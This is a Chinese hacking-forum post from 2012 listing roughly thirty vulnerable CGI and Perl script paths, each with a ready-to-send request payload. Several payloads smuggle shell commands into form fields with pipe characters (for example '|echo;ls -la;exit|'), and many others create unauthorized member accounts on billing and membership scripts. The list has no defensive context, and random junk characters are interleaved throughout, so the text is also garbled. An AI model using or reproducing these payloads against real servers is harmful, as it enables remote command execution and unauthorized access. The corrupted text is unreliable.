找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2598|回复: 0
打印 上一主题 下一主题

Cgi-bin 30个漏洞+使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:55:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
==============================6 v( V& t$ |% m) h2 F

& ^$ Q9 i/ H! n. ^/smspass.pl2 |$ F7 Y# N8 W" @9 k
username=username&password=password
5 q1 U3 I& G& x6 v" U( r0 L# Q8 _7 p# k: |/ Y) e  S
/index.cgi
; m+ Z) k; ^2 ?! c; Ewei=ren&gen=command5 Z4 R' a, \+ c% _, H

. ~, j# p2 y' b: O$ `/passmaster.cgi
; M% u$ ?3 |& p# `5 yAction=Add&Username=Username&Password=Password& p' w' a) Z$ r1 F- q# ]& D- ]
* o. O9 U( l+ C6 ?, Z8 a/ s% u9 w
/accountcreate.cgi
- s) q; V2 R( h* T) eusername=username&password=password&ref1=|echo;ls|
- Z* ~3 x8 @$ ^
: {( V, {: A% V' y3 L7 {/form.cgi
7 M7 t9 d# R, h( x2 z% wname=xxxx&email=email&subject=xxxx&response=|echo;ls|. A! O5 ^" M$ [
" H# O$ c) T( K6 K# W
/addusr.pl
. t" G# w; ~" c/cgi-bin/EuroDebit/addusr.pl6 w6 ?5 \$ s2 Z3 d* V
user=username&pass=Password&confirm=Password0 ^* ^! Y8 U* Q
, ~! L6 l) U( |1 {: h2 a4 P
/ccbill-local.asp5 V4 |, n; U8 c7 L, B% E
post_values=username:password
' j- S" f  s1 n8 o
3 u, @( X; S' P' {# B9 _% ~; s/count.cgi7 p% L6 i# f' N' E) I4 H
pinfile=|echo;ls -la;exit|
; v* w" a  l/ e! C# }# X6 ?6 w5 Y/ V
/recon.cgi
8 T" o; h8 C& c/ `- P; k0 k/recon.cgi?search: t. X/ x1 S# @0 e
searchoption=1&searchfor=|echo;ls -al;exit|
3 l3 M9 S8 s4 n0 e5 B
/ N! N+ H4 h7 z& K3 ?/verotelrum.pl
- U/ I/ p  q0 h, Dvercode=username:password:dseegsow:add:amount<&30>$ Q* `- R  w2 H" }

7 P# X. h& c! d* O& _/ ^$ A" j/af.cgi3 ~' ]2 a. X# N8 t1 j! Z0 k
_browser_out=|echo;ls -la;exit;|& I* L4 r4 ^; T# q9 u

* L5 y8 m0 i! Z/modify.cgi
, k8 c) I' L( T. t3 }, |username=username&password=password&expire=30# E% g1 t1 X8 t  l, e& z4 U
" O4 s  R1 J- [2 R8 g
/openjournal.cgi
4 e5 Q1 `5 R/ U' Sedit=1&ct=2&go=|echo;ls -al;exit|
3 \# U- C4 X& k6 m% N" |/ w+ c4 Y1 C2 \, D+ F+ r* ?- U
/gx9passwd.cgi! q+ R( ^; k! o9 @
cmd=ADD&user=username&pass=password
& w/ Y* a) E5 ]) |* u3 t. h4 d* ?: J+ X
/probecontrol.cgi
! b0 ~! N' R3 `5 L2 r- U% }4 icommand=enable&username=username&password=password( D& T  F* a! c" s" L. D& m
" t2 [; V2 U2 @. |( q6 R4 r
/recon.cgi
% q+ r/ |/ U- \( K* Y( p; D4 Osearchoption=3&searchfor=echo;ls -la;exit
. }- T; I7 i1 Z4 o/ T# ^
  O: e2 E8 {9 X" o+ [/htadd.pl7 V3 P; Z" X- ^0 w4 q% C
configfile=|echo; ls -alt; exit
6 U. A& m9 }/ U) @( G8 I8 H$ X( u- u$ b) T  c
/gx9passwd.cgi" f: z& H  E7 b+ N' k) W' p
cmd=ADD&user=username&pass=password/ w7 f$ w* F+ m" u! m& I4 P8 i

; P8 p4 u& d, ?& p/ibill*.pl
. g# Q- R5 ~8 W- G: P$ r2 Sreqtype=add&authpwd=authpwd&username=username&password=password
3 n5 b3 f7 c/ j3 ^4 {; X$ W2 [2 z' y0 u1 d2 J
/cpay.cgi  U; {( }% x( s( r# B$ u' |
command=add_member&username=username(EMAIL)&password=password(DES)
# J! D/ G8 F7 E, }4 l7 y8 p- ?' T& r* L5 @2 c
/globill_ut.cgi
) V2 C, p) L! [) W6 h8 Ddo=add&username=username&password=password&wpassword=password8 `7 N1 \# D9 y# E
, M% K4 `) R$ ^. M
/usercontrol.cgi  o+ A$ C9 ?5 A9 F: `" E, G% h
command=enable&username=USER&password=PASS$ K. N9 _6 C  L6 L# Y; u
# n" ?( T% U6 F) v/ Y5 M& j
/globoSALErum.cgi0 S+ J, f+ t( s7 U
action=ADD&seccode=seccode&login=username&password=password
" Z0 l5 {: v# m- h1 R  L' b
" J% X: Q$ e5 h* S0 d2 r/addusr.pl
) U1 N* U" {2 A# o0 muser=USER&pass=PASS&confirm=PASS
9 X8 w+ r" P5 |; [4 L7 j+ `2 }& e' u
/pincount.cgi+ a& L2 W' n6 T
/cgi-bin/mastergate/pincount.cgi
* i+ N" l+ |& P1 G  ypinfile=|echo;pwd;exit|
* h1 u' W+ U) {/ d- Y. @+ L
; r9 |3 c. T3 Q- X4 m" W% q9 ~/accountcreate.cgi
1 G+ y4 \) S  _/cgi-bin/gateway/accountcreate.cgi$ i! s/ i* l- a
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
* h2 N: Q, x& v6 N
3 @  T+ C8 p% r/ l/af.cgi) i5 W$ A4 e% o4 o! |
/env.cgi
. p4 x2 b7 Y& x3 C8 xADD+;echo;pwd;exit
& ~1 p8 k" N/ V; L4 X- J! a$ f. P- z* f' }7 K/ h# O  C
/count.cgi  U! `) W( H$ M' H7 \/ ?: |
pinfile=|echo;pwd;exit|
) o. x6 R0 L: n& _8 M5 P/ j
5 e, k6 v8 {( f1 _& K  v/recon.cgi
1 B- r$ K* T$ Q. o1 d. Usearchoption=1&searchfor=|echo;ls%20-al;exit|2 u# X/ x% y, y

7 n, K4 I7 {( z* c) C& {/add.cgi
3 W0 n6 R# K$ `9 |username=username&password=password&expire=30' Y& y' ], D: R6 G

. h& T2 V. _* V/ Q' R==============================
! a# @. [+ ^5 c  d$ {8 B7 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表